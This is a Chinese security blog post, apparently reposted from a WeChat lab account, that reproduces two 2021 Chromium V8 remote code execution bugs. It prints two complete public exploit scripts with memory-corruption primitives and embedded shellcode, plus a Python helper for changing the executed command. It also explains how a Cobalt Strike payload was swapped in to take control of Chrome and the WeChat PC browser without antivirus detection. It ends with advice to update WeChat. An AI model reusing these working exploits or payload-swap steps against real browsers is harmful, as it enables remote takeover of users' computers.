2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

admin 2022年4月23日08:57:48安全文章评论7 views9445字阅读31分29秒阅读模式

记录近期爆发的2个影响Chromium内核浏览器的RCE漏洞(issus-1196683、issus-1195777)的复现和测试情况。


【2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(issue-1196683,CVE-2021-21220)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的POC。


2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue-1195777)以及Chrome 89.0.4389.114的POC视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。


Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。】

Chrome issue 1196683(CVE-2021-21220)

公开的POC:
https://github.com/r4j0x00/exploits/tree/master/chrome-0day

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;

x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);

x -= 1;
if(x==-1) x = 0;

var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

for(var i=0;i<0x3000;++i)
foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
arr[idx+1] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return (fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addrof(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
f();


漏洞复现:

对其中的shellcode进行int转byte操作,可以看到shellcode中打开calc.exe的命令:

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线以非沙盒模式(--no-sandbox)运行chrome浏览器,可以成功执行命令,弹出计算器:

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

如果要执行其它命令,如"notepad.exe",可以考虑用其它公众号上公开的Python代码,删除掉github上原shellcode中最后3个int,然后用python代码按照原有的形式生成notepad.exe命令,并增加到shellcode Array中,可以成功执行。

payload = b"notepad.exe"
#去掉了calc.exe命令的shellcode
shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216]
#按照原shellcode格式,去除命令第一位n,把命令中剩余的otepad.exe四位一组分割
data = [payload[max(0, i-4):i] for i in range(1, len(payload)+4, 4)]

#命令中第一位与xdaxffxd5拼接,构成4位
data[0] = b'xdaxffxd5cx00x00x00x00'[:3] + data[0]

#命令中最后2位xe,用x00x00补齐,构成4位
data[-1] = data[-1] + (4 - len(data[-1])) * b'x00'

#每四位用x00补齐8位
ret = [ _ + b'x00x00x00x00' for _ in data]

#将8位byte转成int类型
code = [int().from_bytes(_, byteorder='little', signed=True) for _ in ret]
print("replace it to exploit.js:nvar shellcode = [{}]".format(shellcode + code))

Python脚本执行后如图:

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

将最终生成的shellcode替换到原POC的js代码中,可以实现远程命令执行:
2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

Chrome issus 1195777

issus-195777是360的安全研究院报告的漏洞,在chrome非沙盒模式下可以进行远程命令执行,也会影响其它Chromium内核的浏览器。使用Chrome进行了测试,可以实现CS上线。漏洞发现者也在Github公开了POC。

公开的POC:

https://github.com/avboy1337/1195777-chrome0day

<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

漏洞复现及CS上线

使用Cobaltstrike生成x86_64的java类型payload,直接将shellcode替换到原POC中,就可以轻松实现CS上线,如图:

用火绒剑查看chrome的进程模块、句柄、内存dll文件等未发现异常,只有在事件查看器中能看到chromed的应用报错事件,360杀毒和火绒进行快速查杀也不会进行报毒,整个过程应该是无文件落地的,如果能配合其它漏洞绕过浏览器沙盒,应该能够成为攻击者的大杀器。

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

WX内置浏览器RCE,CS上线

WX内置的Chromium内核浏览器也是以--no-sandbox模式运行,受此漏洞的影响,也有人放出了,POC可以实现CS上线。经过测试,生成CS的x86的java payload,可轻松实现上线,一样不会产生任何异常,包括wx浏览器进程和日志中都未发现异常情况,同时火绒和360杀毒也不会有拦截。
2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

最近重大项目期间,已经发现有攻击者在利用此漏洞进行猥琐的攻击了,强烈建议Windows WX PC端升级到官方发布的最新版本,可以去WX官方进行下载

参考链接:

https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html

http://180.163.237.32/chromium_v8_remote_code_execution_vulnerability_analysis/

https://github.com/avboy1337/1195777-chrome0day

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

https://mp.weixin.qq.com/s/ForTsPPdSCLIoxuHMhbPpQ

原文始发于微信公众号(毕方安全实验室):2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

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